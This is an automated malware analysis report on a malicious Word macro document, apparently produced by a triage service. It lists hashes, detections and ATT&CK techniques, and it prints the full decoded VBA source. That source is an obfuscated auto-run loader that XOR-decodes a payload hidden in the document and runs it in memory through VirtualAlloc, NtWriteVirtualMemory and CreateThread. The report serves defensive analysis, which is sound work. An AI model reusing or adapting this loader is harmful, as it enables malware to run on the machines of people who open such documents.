Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25a62504708b03c5…

MALICIOUS

Office (OLE)

37.1 KB Created: 2017-07-30 09:30:00 Authoring application: Microsoft Office Word First seen: 2017-08-08
MD5: 5a87f159322d051cc6c04197753433b0 SHA-1: 4106991618e18aea1059366137669d1b50c3f4ef SHA-256: 25a62504708b03c584dad519a43138a9193e779eccdcb82e47b25c38b269cf36
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The macros utilize obfuscated API calls to VirtualAlloc and CreateThread, strongly suggesting an attempt to allocate memory and execute shellcode. The ClamAV detection 'Doc.Downloader.Powload-6809817-0' further indicates a downloader functionality. The embedded URL, though marked as benign, is present in the document.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    YXoQAKlLpXwguCornPBXxKCLXL
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4544 bytes
SHA-256: 072f559b3a50613180ef2da4f3d6a40a49a8ddd7f1d3a4dfc56fab4141dbb2d5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
38 of 72 identifiers look randomly generated (e.g. 'TYwnuqwJRtSCkgKvKWxHstCjovvouzYqoovPYmEB') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function kcUbtLdVhVK Lib "kernel32" Alias "CreateThread" (ByVal CUeEfZdCvcaWzFqYXropvWWBIVog As Long, ByVal QWPcIFciOsjaFGniPGEDRpMLe As Long, ByVal FXDVjLWKEflTRanPiY As LongPtr, pQpJsTp As Long, ByVal DZBkdYgZfFTixdUbhXWODq As Long, gNGPLq As Long) As LongPtr
Private Declare PtrSafe Function hkpQG Lib "kernel32" Alias "VirtualAlloc" (ByVal DYJgVzDFahlYSpRKptDXRzjl As Long, ByVal nJfLeGQOgZRbQcgKDo As LongPtr, ByVal WfmVJkLMEWXdPyEIQxTW As Long, ByVal ujLpaJyrwnokCoxaNw As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal tTmSjWcDmuqmJsfBVA As LongPtr, ByVal IBmvhIJSmjhHdbsDHirC As LongPtr, ByVal YflWgbESxNBAgO As String, ByVal gyejAdPtfMmlqOxtDYmJvbyaHeaPw As LongPtr, ByRef hWmtxjdicqiMgjTQndZt As LongPtr) As LongPtr
#Else
Private Declare Function kcUbtLdVhVK Lib "kernel32" Alias "CreateThread"  (ByVal CUeEfZdCvcaWzFqYXropvWWBIVog As Long, ByVal QWPcIFciOsjaFGniPGEDRpMLe As Long, ByVal FXDVjLWKEflTRanPiY As Long, pQpJsTp As Long, ByVal DZBkdYgZfFTixdUbhXWODq As Long, gNGPLq As Long) As Long
Private Declare Function hkpQG Lib "kernel32" Alias "VirtualAlloc" (ByVal DYJgVzDFahlYSpRKptDXRzjl As Long, ByVal nJfLeGQOgZRbQcgKDo As Long, ByVal WfmVJkLMEWXdPyEIQxTW As Long, ByVal ujLpaJyrwnokCoxaNw As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal tTmSjWcDmuqmJsfBVA As Long, ByVal IBmvhIJSmjhHdbsDHirC As Long, ByVal YflWgbESxNBAgO As String, ByVal gyejAdPtfMmlqOxtDYmJvbyaHeaPw As Long, ByRef hWmtxjdicqiMgjTQndZt As Long) As Long
#End If

Const ytePsXbMouk = &H1000
Const fUjFNSHvmsk = &H40

Public Sub YXoQAKlLpXwguCornPBXxKCLXL()
    Dim WckKNdAEvPvozQtCPyRn() As Byte

    WckKNdAEvPvozQtCPyRn = fuRcqVwPGUopa(ActiveDocument.FullName)
    Dim bliOawvovCTPfoIemIc As String
    bliOawvovCTPfoIemIc = StrConv(WckKNdAEvPvozQtCPyRn, 64)
    
    Dim XTBRAbheiMmfxaURcWNGeqZmCzu
    XTBRAbheiMmfxaURcWNGeqZmCzu = Split(bliOawvovCTPfoIemIc, "TYwnuqwJRtSCkgKvKWxHstCjovvouzYqoovPYmEBvFPOeGZWJHAvOYIAwmYZUhpsvBnVKUxyrWlMDNfH")

    Dim KxDQOtHiJqnYpqgIqN As String
    Dim TumVsEao As String
    Dim anrJWvyUxoMHJqH As String
    TumVsEao = StrConv(StrConv(XTBRAbheiMmfxaURcWNGeqZmCzu(UBound(XTBRAbheiMmfxaURcWNGeqZmCzu)), 64), 128)
    anrJWvyUxoMHJqH = Mid$(TumVsEao, 3, Len(TumVsEao))

    KxDQOtHiJqnYpqgIqN = fbwCsBTs("yEMYCCpGUtMnFGoqxt", anrJWvyUxoMHJqH)
    
    #If VBA7 Then
        Dim bPYsGsUGHe As LongPtr
        Dim YHVDPLXYGnjpOhdelAVagiT As LongPtr
    #Else
        Dim bPYsGsUGHe As Long
        Dim YHVDPLXYGnjpOhdelAVagiT As Long
    #End If

    bPYsGsUGHe = hkpQG(0, Len(KxDQOtHiJqnYpqgIqN), ytePsXbMouk, fUjFNSHvmsk)
    YHVDPLXYGnjpOhdelAVagiT = NtWriteVirtualMemory(-1, bPYsGsUGHe, KxDQOtHiJqnYpqgIqN, Len(KxDQOtHiJqnYpqgIqN), 0)
    YHVDPLXYGnjpOhdelAVagiT = kcUbtLdVhVK(0, 0, bPYsGsUGHe, 0, 0, 0)
End Sub

Public Function fuRcqVwPGUopa(ByVal FtKjwqdsMhLIOrNkrWOhp As String) As Byte()
    Dim TumVsEao As Long
    Dim anrJWvyUxoMHJqH() As Byte
    TumVsEao = FreeFile
    If LenB(Dir(FtKjwqdsMhLIOrNkrWOhp)) Then
        Open FtKjwqdsMhLIOrNkrWOhp For Binary Access Read As TumVsEao
        ReDim anrJWvyUxoMHJqH(LOF(TumVsEao) - 1&) As Byte
        Get TumVsEao, , anrJWvyUxoMHJqH
        Close TumVsEao
    Else
        Err.Raise 53
    End If
    fuRcqVwPGUopa = anrJWvyUxoMHJqH
    Erase anrJWvyUxoMHJqH
End Function

Public Sub Document_Open()
    YXoQAKlLpXwguCornPBXxKCLXL
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function fbwCsBTs(ApWBYzryMLvxHROS As String, rTDAje As String) As String
    Dim OnDELcyuZlwfBsyPuiW As Long
    Dim mJxkHJpkZOYrlrMLWNNK As String
    Dim bywuJrJSeir As Integer, VnCvXAgnXu As Integer, a As Long

    For OnDELcyuZlwfBsyPuiW = 1 To Len(rTDAje)
        a = OnDELcyuZlwfBsyPuiW Mod Len(ApWBYzryMLvxHROS)
        If a = 0 Then a = Len(ApWBYzryMLvxHROS)
        
        bywuJrJSeir = Asc(Mid$(rTDAje, OnDELcyuZlwfBsyPuiW, 1))
        VnCvXAgnXu = Asc(Mid$(ApWBYzryMLvxHROS, a, 1))
        mJxkHJpkZOYrlrMLWNNK = mJxkHJpkZOYrlrMLWNNK + Chr(bywuJrJSeir Xor VnCvXAgnXu)
    Next OnDELcyuZlwfBsyPuiW
    
   fbwCsBTs = mJxkHJpkZOYrlrMLWNNK
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.